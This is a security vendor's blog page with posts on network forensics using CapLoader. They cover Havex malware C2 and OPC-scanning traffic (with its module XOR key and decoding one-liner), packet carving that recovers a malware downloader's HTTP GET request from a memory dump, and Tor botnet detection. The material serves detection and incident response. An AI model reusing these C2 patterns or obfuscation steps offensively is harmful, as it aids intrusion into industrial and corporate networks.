SourceIP   SourcePort  DestinationIP  DestinationPort FileSize   Frame   TCP 80   TCP 1238   244 676 B       14   TCP 80   TCP 1261       150 B     1640   TCP 80   TCP 1286   359 508 B     3079   TCP 80   TCP 1311   236 648 B     4855   TCP 80   TCP 1329       150 B    22953   TCP 80   TCP 1338       150 B    94678   TCP 80   TCP 1346       150 B   112417   TCP 80   TCP 1353       150 B   130108   TCP 80   TCP 1365       150 B   147902

Files downloaded through Havex C2 communication are typically modules to be executed. However, these modules are downloaded in a somewhat obfuscated format; in order to extract them one need to do the following:

  • Base64 decode
  • Decompress (bzip2)
  • XOR with ”1312312”

To be more specific, here's a crude one-liner that I used to calculate MD5 hashes of the downloaded modules:

$ tail -c +95 C2_download.html | base64 -d | bzcat -d | xortool-xor -s "1312312" -f - -n | tail -c +330 | md5sum

To summarize the output from this one-liner, here's a list of the downloaded modules in Joel's PCAP file:

Downloaded HTML MD5 Extracted module MD5

All three extracted modules are known binaries associated with Havex. The third module is one of the Havex OPC scanner modules, let's have a look at what happens on the network after this module has been downloaded!

Analyzing Havex OPC Traffic

In Joel's PCAP file, the OPC module download finished at frame 5117. Less then a second later we see DCOM/MS RPC traffic. To understand this traffic we need to know how to interpret the UUID's used by MS RPC.

Marion Marschalek has listed 10 UUID's used by the Havex OPC module in order to enumerate OPC components. However, we've only observed four of these commands actually being used by the Havex OPC scanner module. These commands are:


Of these commands the ”IOPC Browse” is the ultimate goal for the Havex OPC scanner, since that's the command used to enumerate all OPC tags on an OPC server. Now, let's have a look at the PCAP file to see what OPC commands (i.e. UUID's) that have been issued.

$ tshark -r new-round-09-setup.first6000.pcap -n -Y 'dcerpc.cn_bind_to_uuid != 99fcfec4-5260-101b-bbcb-00aa0021347a' -T fields -e frame.number -e ip.dst -e dcerpc.cn_bind_to_uuid -Eoccurrence=f -Eheader=y  ip.dst      dcerpc.cn_bind_to_uuid
5140  000001a0-0000-0000-c000-000000000046
5145  000001a0-0000-0000-c000-000000000046
5172  000001a0-0000-0000-c000-000000000046
5185  9dd0b56c-ad9e-43ee-8305-487f3188bf7a
5193  000001a0-0000-0000-c000-000000000046
5198  55c382c8-21c7-4e88-96c1-becfb1e3f483
5212  00000143-0000-0000-c000-000000000046
5247  000001a0-0000-0000-c000-000000000046
5257  00000143-0000-0000-c000-000000000046
5269  00000143-0000-0000-c000-000000000046
5274  39c13a4d-011e-11d0-9675-0020afd8adb3
5280  39c13a4d-011e-11d0-9675-0020afd8adb3
5285  39227004-a18f-4b57-8b0a-5235670f4468
5286  39227004-a18f-4b57-8b0a-5235670f4468

We can thereby verify that the IOPCBrowse command was sent to one of Joel's OPC servers in frame 5285 and 5286. However, tshark/Wireshark is not able to parse the list of OPC items (tags) that are returned from this function call. Also, in order to find all IOPCBrowse commands in a more effective way we'd like to search for the binary representation of this command with tools like ngrep or CapLoader. It would even be possible to generate an IDS signature for IOPCBrowse if we'd know what to look for.

The first part of an MSRPC UUID is typically sent in little endian, which means that the IOPCBrowse command is actually sent over the wire as:

04 70 22 39 8f a1 57 4b 8b 0a 52 35 67 0f 44 68

Let's search for that value in Joel's PCAP file:

CapLoader 1.2 Find Keyword Window
Image: Searching for IOPCBrowse byte sequence with CapLoader

CapLoader 1.2 flow view
Image: CapLoader with 169 extracted flows matching IOPCBrowse UUID

Apparently 169 flows contain one or several packets that match the IOPCBrowse UUID. Let's do a “Flow Transcript” and see if any OPC tags have been sent back to the Havex OPC scanner.

CapLoader 1.2 Transcript of OPC-DA session
Image: CapLoader Transcript of OPC-DA session

Oh yes, the Havex OPC scanner sure received OPC tags from what appears to be a Waterfall unidirectional OPC gateway.

Another way to find scanned OPC tags is to search for a unique tag name, like “Bucket Brigade” in this example.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Wednesday, 12 November 2014 21:09:00 (UTC/GMT)

Carving Network Packets from Memory Dump Files

Hattori Hanzo by Stefan Ledwina A new feature in the recently released CapLoader 1.2 is the ability to carve network packets from any file and save them in the PCAP-NG format. This fusion between memory forensics and network forensics makes it possible to extract sent and received IP frames, with complete payload, from RAM dumps as well as from raw disk images.

CapLoader will basically carve any TCP or UDP packet that is preceded by an IP frame (both IPv4 and IPv6 are supported), and believe me; there are quite a few such packets in a normal memory image!

We've made the packet carver feature available in the free version of CapLoader, so feel free to give it a try!

The packet carving feature makes it possible do much better analysis of network traffic in memory dumps compared to Volatility's connscan2. With Volatility you basically get the IP addresses and port numbers that communicated, but with CapLoader's packet carver you also get the contents of the communication!

Modern depiction of ninja with ninjato (ninja sword), Edo wonderland, Japan

EXAMPLE: Honeynet Banking Troubles Image

I loaded the publicly available “Banking Troubles” memory image from the Honeynet Project into CapLoader to exemplify the packet carver's usefulness in a digital forensics / incident response (DFIR) scenario.

CapLoader 1.2 Carving Packets from HoneyNet Memory Image
CapLoader 1.2 Carving Packets from HoneyNet Memory Image

CapLoader 1.2 Finished Carving Packets from HoneyNet Memory Image
22 TCP/UDP Flows were carved from the memory image by CapLoader

Let's look at the network traffic information that was extracted in the Honeynet Project's own solution for the Banking Troubles Challenge:

python volatility connscan2 -f images/hn_forensics.vmem"
Local Address Remote Address Pid
------------------------- ------------------------- ------ 888 1244 1244 4 0 888 888 888 888 1752 880 880


"This connection [marked in bold above] was opened by AcroRd32.exe (PID 1752) and this represents an additional clue that an Adobe Reader exploit was used in order to download and execute a malware sample."

The solution doesn't provide any evidence regarding what Acrobat Reader actually used the TCP connection for. Additionally, none of the three finalists managed to prove what was sent over this connection.

To view the payload of this TCP connection in CapLoader, I simply right-clicked the corresponding row and selected “Flow Transcript”.

Transcript of TCP flow contents in CapLoader
Transcript of TCP flow contents (much like Wireshark's Follow-TCP-Stream)

We can see that the following was sent from to

GET /load.php?a=a&st=Internet%20Explorer%206.0&e=2 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Connection: Keep-Alive

Notice that the HTTP GET request took place at the end of the TCP session. Odd? Well, CapLoader doesn't know the timestamp of carved packets, so they are simply ordered as they were discovered in the dump file. The timestamp generated for each carved packet represents where in the image/dump the packet was found. Or more precise: the number of microseconds since EPOCH (1970-01-01 00:00:00) is the offset (in bytes) from where the packet was carved.

Hence, we know that the HTTP GET request can be found between offset 37068800 and 37507072 in the image (a 428 kB region). To be more exact we can open the generated PcapNG file with Wireshark or Tshark to get the timestamp and length of the actual HTTP GET request packet.

tshark.exe -r Bob.vmem.pcapng" -R http.request -T fields -e frame.time_epoch -e frame.len -e http.request.uri
31.900664000 175 *
37.457920000 175 *
37.462016000 286 /load.php?a=a&st=Internet%20Explorer%206.0&e=2
37.509120000 175 *
37.519360000 245 /~produkt/983745213424/34650798253
37.552128000 266 /root.sxml
37.570560000 265 /l3fw.xml
37.591040000 274 /WANCommonIFC1.xml
37.607424000 271 /WANIPConn1.xml

Now, lets verify that the raw packet data is actually 37462016 bytes into the memory dump.

xxd -s 37462016 -l 286 Bob.vmem
23ba000: 0021 9101 b248 000c 2920 d71e 0800 4500 .!...H..) ....E.
23ba010: 0110 3113 4000 8006 8e1a c0a8 00b0 d496 ..1.@...........
23ba020: a4cb 049a 0050 7799 0550 f33b 7886 5018 .....Pw..P.;x.P.
23ba030: faf0 227e 0000 4745 5420 2f6c 6f61 642e .."~..GET /load.
23ba040: 7068 703f 613d 6126 7374 3d49 6e74 6572 php?a=a&st=Inter
23ba050: 6e65 7425 3230 4578 706c 6f72 6572 2532 net%20Explorer%2
23ba060: 3036 2e30 2665 3d32 2048 5454 502f 312e 06.0&e=2 HTTP/1.
23ba070: 310d 0a41 6363 6570 743a 202a 2f2a 0d0a 1..Accept: */*..
23ba080: 4163 6365 7074 2d45 6e63 6f64 696e 673a Accept-Encoding:
23ba090: 2067 7a69 702c 2064 6566 6c61 7465 0d0a gzip, deflate..
23ba0a0: 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 User-Agent: Mozi
23ba0b0: 6c6c 612f 342e 3020 2863 6f6d 7061 7469 lla/4.0 (compati
23ba0c0: 626c 653b 204d 5349 4520 362e 303b 2057 ble; MSIE 6.0; W
23ba0d0: 696e 646f 7773 204e 5420 352e 313b 2053 indows NT 5.1; S
23ba0e0: 5631 290d 0a48 6f73 743a 2073 6561 7263 V1)..Host: searc
23ba0f0: 682d 6e65 7477 6f72 6b2d 706c 7573 2e63 h-network-plus.c
23ba100: 6f6d 0d0a 436f 6e6e 6563 7469 6f6e 3a20 om..Connection:
23ba110: 4b65 6570 2d41 6c69 7665 0d0a 0d0a Keep-Alive....
Yep, that's our HTTP GET packet preceded by an Ethernet, IP and TCP header.

Ninja Training by Danny Choo

Give it a Try!

Wanna verify the packet carving functionality? Well, that's easy! Just follow these three steps:

  1. Download a sample memory image (thanks for the great resource Volatility Team!)
    Download the free RAM dumper DumpIt and dump your own computer's memory.
    Locate an existing file that already contains parts of your RAM, such as pagefile.sys or hiberfil.sys

  2. Download the free version of CapLoader and open the memory dump.

  3. Select destination for the generated PcapNG file with carved packets and hit the “Carve” button!

Illangam fighting scene with swords and shields at korathota angampora tradition

Carving Packets from Proprietary and odd Capture Formats

CapLoader can parse PCAP and PcapNG files, which are the two most widely used packet capture formats. However, the packet carving features makes it possible to extract packets from pretty much any capture format, including proprietary ones. The drawback is that timestamp information will be lost.

We have successfully verified that CapLaoder can carve packets from the following network packet capture / network trace file formats:

  • .ETL files created with netsh or logman. These Event Trace Log files can be created without having WinPcap installed.
  • .CAP files created with Microsoft Network Monitor
  • .ENC files (NA Sniffer) from IBM ISS products like the Proventia IPS (as well as Robert Graham's old BlackICE)
  • .ERF files from Endace probes

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Monday, 17 March 2014 10:05:00 (UTC/GMT)

Search and Carve Packets with CapLoader 1.2

CapLoader Logo CapLoader version 1.2 was released today, with lots of new powerful features.

The most significant additions in CapLaoder 1.2 are:

  • Network packet carving, i.e. the ability to carve full content network packets from RAM dumps, disk images etc.
  • Flows can be hidden/filtered in the user interface.
  • Full content keyword search in capture files.
  • Flow can be selected based on TCP flags.
  • Better handling of broken and corrupt capture files.
What's really cool is that all these new features are available in the free version of CapLoader!

Nikon Microscope by windy_

In addition to these updates, customers using the commercial edition of CapLoader also get an updated protocol database. This update improves the Port Independent Protocol Identification (PIPI) feature in CapLoader with more protocols and better accuracy. Not only does this help analysts detect services like SSH, FTP and HTTP running on non-standard ports, but the protocol database also includes signatures for malware and APT C2 traffic like ZeroAccess, Zeus, Gh0st RAT and Poison Ivy RAT.

An update for CapLoader to version 1.2 is available for previous customers via our customer portal.

The free trial version of CapLoader can be downloaded from

CapLoader 1.2 with Transcript window
CapLoader 1.2 with suspect.pcap (from DFRWS 2008) loaded and Transcript window open

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Wednesday, 12 March 2014 14:45:00 (UTC/GMT)

Detecting TOR Communication in Network Traffic

The anonymity network Tor is often misused by hackers and criminals in order to remotely control hacked computers. In this blog post we explain why Tor is so well suited for such malicious purposes, but also how incident responders can detect Tor traffic in their networks.

Yellow onions with cross section. Photo taken by Andrew c

The privacy network Tor (originally short for The Onion Router) is often used by activists and whistleblowers, who wish to preserve their anonymity online. Tor is also used by citizens of countries with censored Internet (like in China, Saudi Arabia and Belarus), in order to evade the online censorship and surveillance systems. Authorities in repressive regimes are therefore actively trying to detect and block Tor traffic, which makes research on Tor protocol detection a sensitive subject.

Tor is, however, not only used for good; a great deal of the traffic in the Tor networks is in fact port scans, hacking attempts, exfiltration of stolen data and other forms of online criminality. Additionally, in December last year researchers at Rapid7 revealed a botnet called “SkyNet” that used Tor for its Command-and-Control (C2) communication. Here is what they wrote about the choice of running the C2 over Tor:

"Common botnets generally host their Command & Control (C&C) infrastructure on hacked, bought or rented servers, possibly registering domains to resolve the IP addresses of their servers. This approach exposes the botnet from being taken down or hijacked. The security industry generally will try to take the C&C servers offline and/or takeover the associated domains
What the Skynet botnet creator realized, is that he could build a much stronger infrastructure at no cost just by utilizing Tor as the internal communication protocol, and by using the Hidden Services functionality that Tor provides."

Tor disguised as HTTPS

Tor doesn't just provide encryption, it is also designed to look like normal HTTPS traffic. This makes Tor channels blend in quite well with normal web surfing traffic, which makes Tor communication difficult to identify even for experienced incident responders. As an example, here is how tshark interprets a Tor session to port TCP 443:

$ tshark -nr tbot_2E1814CCCF0.218EB916.pcap | head
1 0.000000 -> TCP 62 1565 > 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
2 0.126186 -> TCP 60 443 > 1565 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
3 0.126212 -> TCP 54 1565 > 443 [ACK] Seq=1 Ack=1 Win=64240 Len=0
4 0.127964 -> SSL 256 Client Hello
5 0.128304 -> TCP 60 443 > 1565 [ACK] Seq=1 Ack=203 Win=64240 Len=0
6 0.253035 -> TLSv1 990 Server Hello, Certificate, Server Key Exchange, Server Hello Done
7 0.259231 -> TLSv1 252 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
8 0.259408 -> TCP 60 443 > 1565 [ACK] Seq=937 Ack=401 Win=64240 Len=0
9 0.379712 -> TLSv1 113 Change Cipher Spec, Encrypted Handshake Message
10 0.380009 -> TLSv1 251 Encrypted Handshake Message

A Tor session to TCP port 443, decoded by tshark as if it was HTTPS

The thsark output above looks no different from when a real HTTPS session is being analyzed. So in order to detect Tor traffic one will need to apply some sort of traffic classification or application identification. However, most implementations for protocol identification rely on either port number inspection or protocol specification validation. But Tor often communicate over TCP 443 and it also follows the TLS protocol spec (RFC 2246), because of this most products for intrusion detection and deep packet inspection actually fail at identifying Tor traffic. A successful method for detecting Tor traffic is to instead utilize statistical analysis of the communication protocol in order to tell different SSL implementations apart. One of the very few tools that has support for protocol identification via statistical analysis is CapLoader.

CapLoader provides the ability to differentiate between different types of SSL traffic without relying on port numbers. This means that Tor sessions can easily be identified in a network full of HTTPS traffic.

Analyzing the tbot PCAPs from Contagio

@snowfl0w provides some nice analysis of the SkyNet botnet (a.k.a. Trojan.Tbot) at the Contagio malware dump, where she also provides PCAP files with the network traffic generated by the botnet.

The following six PCAP files are provided via Contagio:

  1. tbot_191B26BAFDF58397088C88A1B3BAC5A6.pcap (7.55 MB)
  2. tbot_23AAB9C1C462F3FDFDDD98181E963230.pcap (3.24 MB)
  3. tbot_2E1814CCCF0C3BB2CC32E0A0671C0891.pcap (4.08 MB)
  4. tbot_5375FB5E867680FFB8E72D29DB9ABBD5.pcap (5.19 MB)
  5. tbot_A0552D1BC1A4897141CFA56F75C04857.pcap (3.97 MB) [only outgoing packets]
  6. tbot_FC7C3E087789824F34A9309DA2388CE5.pcap (7.43 MB)

Unfortunately the file “tbot_A055[...]” only contains outgoing network traffic. This was likely caused by an incorrect sniffer setup, such as a misconfigured switch monitor port (aka SPAN port) or failure to capture the traffic from both monitor ports on a non-aggregating network tap (we recommend using aggregation taps in order to avoid these types of problems, see our sniffing tutorial for more details). The analysis provided here is therefore based on the other five pcap files provided by Contagio.

Here is a timeline with relative timestamps (the frame timestamps in the provided PCAP files were way of anyway, we noticed an offset of over 2 months!):

  • 0 seconds : Victim boots up and requests an IP via DHCP
  • 5 seconds : Victim perform a DNS query for
  • 6 seconds : Victim gets time via NTP
    ---{malware most likely gets executed here somewhere}---
  • 22 seconds : Victim performs DNS query for
  • 22 seconds : Victim gets its external IP via an HTTP GET request to
  • 23 seconds : Victim connects to the Tor network, typically on port TCP 9001 or 443
    ---{lots of Tor traffic from here on}---

This is what it looks like when one of the tbot pcap files has been loaded into CapLoader with the “Identify protocols” feature activated:
CapLoader detecting Tor protocol
CapLoader with protocol detection in action - see “TOR” in the “Sub_Protocol” column

Notice how the flows to TCP ports 80, 9101 and 443 are classified as Tor? The statistical method for protocol detection in CapLoader is so effective that CapLoader actually ignores port numbers altogether when identifying the protocol. The speed with which CapLoader parses PCAP files also enables analysis of very large capture files. A simple way to detect Tor traffic in large volumes of network traffic is therefore to load a capture file into CapLoader (with “Identify protocols” activated), sort the flows on the “Sub_Protocol” column, and scroll down to the flows classified as Tor protocol.

Beware of more Tor backdoors

Most companies and organizations allow traffic on TCP 443 to pass through their firewalls without content inspection. The privacy provided by Tor additionally makes it easy for a botnet herder to control infected machines without risking his identity to be revealed. These two factors make Tor a perfect fit for hackers and online criminals who need to control infected machines remotely.

Here is what Claudio Guarnieri says about the future use of Tor for botnets in his Rapid7 blog post:

“The most important factor is certainly the adoption of Tor as the main communication channel and the use of Hidden Services for protecting the backend infrastructure. While it’s surprising that not more botnets adopt the same design, we can likely expect more to follow the lead in the future.”

Incident responders will therefore need to learn how to detect Tor traffic in their networks, not just in order to deal with insiders or rogue users, but also in order to counter malware using it as part of their command-and-control infrastructure. However, as I've shown in this blog post, telling Tor apart from normal SSL traffic is difficult. But making use of statistical protocol detection, such as the Port Independent Protocol Identification (PIPI) feature provided with CapLoader, is in fact an effective method to detect Tor traffic in your networks.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Saturday, 06 April 2013 20:55:00 (UTC/GMT)

Analyzing 85 GB of PCAP in 2 hours

Hadoop photo by Robert Scoble

Lets say you've collected around 100 GB of PCAP files in a network monitoring installation. How would you approach the task of looking at the application layer data of a few of the captured sessions or flows?

For much smaller datasets, in the order of 100 MB, one would typically load the PCAP into Wirehsark and perform ”Follow TCP Stream” on a few sessions to see what's going on. But loading gigabyte datasets into Wireshark doesn't scale very well, in fact Wireshark will typically run out of RAM and crash saying “Out Of Memory!” or just “Wireshark has stopped working”. Ulf Lamping explains why on the Wireshark Wiki:

“Wireshark uses memory to store packet meta data (e.g. conversation and fragmentation related data) and to display this info on the screen.
I need memory about ten times the actual capture file size”

The solution I'm proposing is to instead download the free version of CapLoader, load the PCAP files into CapLoader and perform ”Flow Transcript” on a few of the flows. So how long time would it take to do this on 100 GB of PCAP files? I did a quick test and loaded the 85 GB dataset from ISCX 2012 into CapLoader on an ordinary laptop computer. After just 1 hour 47 minutes all of the PCAP files from ISCX 2012 were loaded and indexed by CapLoader! Also, please note that datasets this large can be parsed in less than 30 minutes with a more powerful PC.

After having loaded all the PCAP files CapLoader presents a list of all the 2.066.653 indexed flows from the ISCX 2012 dataset. Right-clicking a UDP or TCP flow brings up a context menu that allows you to generate a “Flow Transcript”, this feature is basically the same thing as Wireshark's “Follow TCP Stream”.

Right-click a flow in CapLoader
CapLoader Flow Transcript
CapLoader's Flow Transcript View

You can, of course, always extract the frames from any flow directly to Wirehsark if you aren't ready to abandon Wireshark's Follow TCP Stream just yet. A flow is extracted simply by selecting a flow in the list and then doing drag-and-drop from CapLoader's PCAP icon (at the top right) onto Wireshark.

Drag-and-Drop from CapLoader to Wireshark
Wireshark follow TCP stream

The fact that CapLoader parses and indexes large PCAP files very fast and that the analyst is provided with powerful tools, like the Transcript feature, to look at the raw packet data makes it possible to perform big-data network traffic analysis using an ordinary PC. This means that you do NOT need to upload your network traffic to the Cloud, or build a 100-machine cluster, in order to let a Hadoop instance parse though your multi-gigabyte packet captures. All you need is an ordinary PC and a copy of CapLoader.

For more information about CapLoader please have a look at our blog post highliting the new features in version 1.1 of CapLoader or browse through all our blog posts about CapLoader.

This blog post makes use of the UNB ISCX 2012 Intrusion Detection Evaluation Dataset, which is created by Ali Shiravi, Hadi Shiravi, and Mahbod Tavallaee from University of New Brunswick

UPDATE 2016-05-23

With the release of CapLoader 1.4 it is now possible to perform flow transcripts not only from the Flows tab, but also from the Services and Hosts tab. In these cases the transcript will be that of the first flow of the selected service or host.

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Thursday, 24 January 2013 12:20:00 (UTC/GMT)

CapLoader 1.1 Released

CapLoader Logo Version 1.1 of the super-fast PCAP parsing tool CapLoader is being released today. CapLoader is the ideal tool for digging through large volumes of PCAP files. Datasets in the GB and even TB order can be loaded into CapLoader to produce a clear view of all TCP and UDP flows. CapLoader also provides instantaneous access to the raw packets of each flow, which makes it a perfect preloader tool in order to select and export interesting data to other tools like NetworkMiner or Wireshark.

Drag-and-Drop PCAP from CapLoader to Wirehsark
Five flows being extracted from's SOTM 28 to Wireshark with CapLoader

New functionality in version 1.1

New features in version 1.1 of CapLoader are:

  • PcapNG support
  • Fast transcript of TCP and UDP flows (similar to Wireshark's ”Follow TCP Stream”)
  • Better port agnostic protocol identification; more protocols and better precision (over 100 protocols and sub-protocols can now be identified, including Skype and the C&C protocol of Poison Ivy RAT)
  • A “Hosts” tab containing a list of all transmitting hosts and information about open ports, operating system as well as Geo-IP localization (using GeoLite data created by MaxMind)
  • Gzip compressed capture files can be opened directly with CapLoader
  • Pcap files can be loaded directly from an URL

CapLoader Flow Transcript aka Follow TCP Stream
Flow transcript of Honeynet SOTM 28 pcap file day3.log

Free Trial Version

Another thing that is completely new with version 1.1 of CapLoader is that we now provide a free trial version for download. The CapLoader trial is free to use for anyone and we don't even require trial users to register their email addresses when downloading the software.

There are, of course, a few limitations in the trial version; such as no protocol identification, OS fingerprinting or GeoIP localization. There is also a limit as to how many gigabyte of data that can be loaded with the CapLoader trial at a time. This size limit is 500 GB, which should by far exceed what can be loaded with competing commercial software like Cascade Pilot and NetWitness Investigator.

The professional edition of CapLoader doesn't have any max PCAP limit whatsoever, which allows for terabytes of capture files to be loaded.

CapLoader with TCP and UDP flows view
CapLoader's Flows view showing TCP and UDP flows

CapLoader with Hosts view
CapLoader's Hosts view showing identified hosts on the network

Getting CapLoader

The trial version of CapLoader can be downloaded from the CapLoader product page. The professional edition of CapLoader can be bought at our Purchase CapLoader page.

CapLoader USB flash drive
The CapLoader USB flash drive

Customers who have previously bought CapLoader 1.0 can upgrade to version 1.1 by downloading an update from our customer portal.

For more information about CapLoader please see our previous blog post Fast analysis of large pcap files with CapLoader

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Monday, 21 January 2013 11:45:00 (UTC/GMT)

CapLoader Video Tutorial

CapLoader Logo

Below is a short video tutorial showing some of the cool features in CapLoader 1.0.

The functionality showed in the video includes:

  • Loading multiple pcap files into a single flow view
  • Port Independent Protocol Identification (PIPI)
  • Fast extraction of packets related to one or several flows
  • Exporting packets to Wireshark and NetworkMiner
  • Drag-and-dropping packets to Wireshark
  • Selecting a flow based on an IDS alert from Snort
  • Extracting packets from a selected flow to a new pcap file

The video can also be seen on YouTube at the following URI:

The three pcap files loaded in the video tutorial are from the DFRWS 2009 Challenge.


More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Monday, 30 April 2012 14:35:00 (UTC/GMT)

Fast analysis of large pcap files with CapLoader

CapLoader Logo

Are you working with large pcap files and need to see the “whole picture” while still being able to quickly drill down to individual packets for a TCP or UDP flow? Then this is your lucky day, since we at Netresec are releasing our new tool CapLoader today!

Here are the main features of CapLoader:

  • Fast loading of multi-gigabyte PCAP files (1 GB loads in less than 2 minutes on a standard PC and even faster on multi-core machines).
  • GUI presentation of all TCP and UDP flows in the loaded PCAP files.
  • Automatic identification of application layer protocols without relying on port numbers.
  • Extremely fast drill-down functionality to open packets from one or multiple selected flows.
  • Possibility to export packets from selected flows to a new PCAP file or directly open them in external tools like Wireshark and NetworkMiner.

CapLoader identifying Rootkit SSH backdoor on TCP 5001
CapLoader with files from Honeynet SOTM 28 loaded. The application layer protocol from the rootkit backdoor on TCP 5001 is automatically identified as "SSH".

The typical process of working with CapLoader is:

  1. Open one or multiple pcap files, typically by drag-and-dropping them onto the CapLoader GUI.
    CapLoader loading a pcap file with drag-and-drop
  2. Mark the flows of interest.
    CapLoader selecting flows / sessions
  3. Double click the PCAP icon to open the selected sessions in your default pcap parser (typically Wireshark) or better yet, do drag-and-drop from the PCAP icon to your favorite packet analyzer.
    CapLoader exporting packets to NetworkMiner

In short, CapLoader will significantly speed up the analysis process of large network captures while also empowering analysts with a unique protocol identification ability. We at Netresec see CapLoader as the perfect tool for everyone who want to perform analysis on “big data” network captures.

More information about CapLoader is available on

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Posted by Erik Hjelmvik on Monday, 02 April 2012 19:55:00 (UTC/GMT)


NETRESEC on Twitter

Follow @netresec on twitter:


Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2011)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)